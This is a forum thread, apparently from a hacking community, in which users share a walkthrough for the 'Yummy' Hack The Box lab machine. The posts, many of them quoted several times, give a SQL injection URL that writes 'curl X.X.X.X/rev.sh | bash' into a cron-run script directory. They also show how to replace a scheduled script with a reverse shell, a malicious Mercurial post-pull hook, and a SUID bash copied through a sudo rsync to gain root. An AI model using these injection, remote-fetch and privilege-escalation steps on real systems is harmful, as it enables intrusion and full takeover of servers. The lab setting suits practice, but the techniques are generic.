[etcshadow]

Hello,

Here is a qick method to have a rev shell wiith mysql priv (admin X-AUTH-Token is required)

PHP Code:

http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"ping%3b"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b

http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"curl+X.X.X.X/rev.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v___'+%3b 


privsec to www-data

PHP Code:

mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
mv "Your_Revshell.sh" /data/scripts/app_backup.sh 


privesc to user

PHP Code:

string /var/www/app-qatesting/.hg/store/data/app.py.i 


i don't get any hit back to upload the reverse shell ... i'm kinda stuck in the first step

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[olkn00b]

Hello,

Here is a qick method to have a rev shell wiith mysql priv (admin X-AUTH-Token is required)

PHP Code:

http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"ping%3b"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b

http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"curl+X.X.X.X/rev.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v___'+%3b 


privsec to www-data

PHP Code:

mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
mv "Your_Revshell.sh" /data/scripts/app_backup.sh 


privesc to user

PHP Code:

string /var/www/app-qatesting/.hg/store/data/app.py.i 


i don't get any hit back to upload the reverse shell ... i'm kinda stuck in the first step

same thing happened to me , took a few tries
just use those first 2 commands , fill in your ip, should work eventually.

[etcshadow]

Hello,

Here is a qick method to have a rev shell wiith mysql priv (admin X-AUTH-Token is required)

PHP Code:

http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"ping%3b"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b

http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"curl+X.X.X.X/rev.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v___'+%3b 


privsec to www-data

PHP Code:

mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
mv "Your_Revshell.sh" /data/scripts/app_backup.sh 


privesc to user

PHP Code:

string /var/www/app-qatesting/.hg/store/data/app.py.i 


i don't get any hit back to upload the reverse shell ... i'm kinda stuck in the first step

same thing happened to me , took a few tries
just use those first 2 commands , fill in your ip, should work eventually.

it just did now xD it was waiting for your msg <3

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[rootme1122]

how to get root?

[mamadoubarla]

Dev user can run sudo as root without password this :
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

anyone know how to get root using this ?

[Rob1nhood]

Dev user can run sudo as root without password this :
sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

anyone know how to get root using this ?

How did you lateral to dev?

[dogedofedoge]

Hello,

Here is a qick method to have a rev shell wiith mysql priv (admin X-AUTH-Token is required)

PHP Code:

http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"ping%3b"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b

http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"curl+X.X.X.X/rev.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v___'+%3b 


privsec to www-data

PHP Code:

mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
mv "Your_Revshell.sh" /data/scripts/app_backup.sh 


privesc to user

PHP Code:

string /var/www/app-qatesting/.hg/store/data/app.py.i 


Hello,

Here is a qick method to have a rev shell wiith mysql priv (admin X-AUTH-Token is required)

PHP Code:

http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"ping%3b"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b

http://yummy.htb/admindashboard?s=aa&o=ASC%3b++select+"curl+X.X.X.X/rev.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v___'+%3b 


privsec to www-data

PHP Code:

mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
mv "Your_Revshell.sh" /data/scripts/app_backup.sh 


privesc to user

PHP Code:

string /var/www/app-qatesting/.hg/store/data/app.py.i 


I got the shell, how to go to www-data is confusing

CD to /data/scripts
upload another shell

Do the mv commands to rename the file thats there to .old and then rename your shell to the file you .old
wait for new shell to pickup....

Ok it worked perfectly, got the user flag. Thank you!

[rootkik]

qa@yummy:/var/www/app-qatesting/.hg$ /usr/bin/hg log
changeset: 9:f3787cac6111
tag: tip
user: qa
date: Tue May 28 10:37:16 2024 -0400
summary: attempt at patching path traversal

changeset: 8:0bbf8464d2d2
user: qa
date: Tue May 28 10:34:38 2024 -0400
summary: removed comments

changeset: 7:2ec0ee295b83
user: qa
date: Tue May 28 10:32:50 2024 -0400
summary: patched SQL injection vuln

changeset: 6:f87bdc6c94a8
user: qa
date: Tue May 28 10:27:32 2024 -0400
summary: patched signature vuln

changeset: 5:6c59496d5251
user: dev
date: Tue May 28 10:25:11 2024 -0400
summary: updated db creds

changeset: 4:f228abd7a139
user: dev
date: Tue May 28 10:24:32 2024 -0400
summary: randomized secret key

changeset: 3:9046153e7a23
user: dev
date: Tue May 28 10:16:16 2024 -0400
summary: added admin order option

changeset: 2:f2533b9083da
user: dev
date: Tue May 28 10:15:42 2024 -0400
summary: added admin capabilities

changeset: 1:be935002334f
user: dev
date: Tue May 28 10:14:02 2024 -0400
summary: added admin template

changeset: 0:f54c91c7fae8
user: dev
date: Tue May 28 10:13:43 2024 -0400
summary: initial commit

update db creds, who has dev user?

[gfttjdb]

qa@yummy:/var/www/app-qatesting/.hg$ /usr/bin/hg log
changeset:  9:f3787cac6111
tag:        tip
user:        qa
date:        Tue May 28 10:37:16 2024 -0400
summary:    attempt at patching path traversal

changeset:  8:0bbf8464d2d2
user:        qa
date:        Tue May 28 10:34:38 2024 -0400
summary:    removed comments

changeset:  7:2ec0ee295b83
user:        qa
date:        Tue May 28 10:32:50 2024 -0400
summary:    patched SQL injection vuln

changeset:  6:f87bdc6c94a8
user:        qa
date:        Tue May 28 10:27:32 2024 -0400
summary:    patched signature vuln

changeset:  5:6c59496d5251
user:        dev
date:        Tue May 28 10:25:11 2024 -0400
summary:    updated db creds

changeset:  4:f228abd7a139
user:        dev
date:        Tue May 28 10:24:32 2024 -0400
summary:    randomized secret key

changeset:  3:9046153e7a23
user:        dev
date:        Tue May 28 10:16:16 2024 -0400
summary:    added admin order option

changeset:  2:f2533b9083da
user:        dev
date:        Tue May 28 10:15:42 2024 -0400
summary:    added admin capabilities

changeset:  1:be935002334f
user:        dev
date:        Tue May 28 10:14:02 2024 -0400
summary:    added admin template

changeset:  0:f54c91c7fae8
user:        dev
date:        Tue May 28 10:13:43 2024 -0400
summary:    initial commit

update db creds, who has dev user?

Guys Any idea how to get root ??

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed | /Thread-Free-HTB-All-Active-Challanges-Flags

[hackemall]

ROOT ROOT ROOT ROOT Check sudo privileges:
Perform the following steps to escalate privileges:

bash

cd /tmp; mkdir .hg; chmod 777 .hg; cp ~/.hgrc .hg/hgrc

Add the reverse shell script at the last line in /tmp/.hg/hgrc:

javascript

[hooks]
post-pull = /tmp/revshell.sh

Execute:

bash

chmod +x the revshell.sh
sudo -u dev /usr/bin/hg pull /home/dev/app-production/

Once you have dev privileges:

Command:

shell

$ cd /home/dev/
$ cp /bin/bash app-production/bash
$ chmod u+s app-production/bash
$ sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
$ /opt/app/bash -p

You now have root access.

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.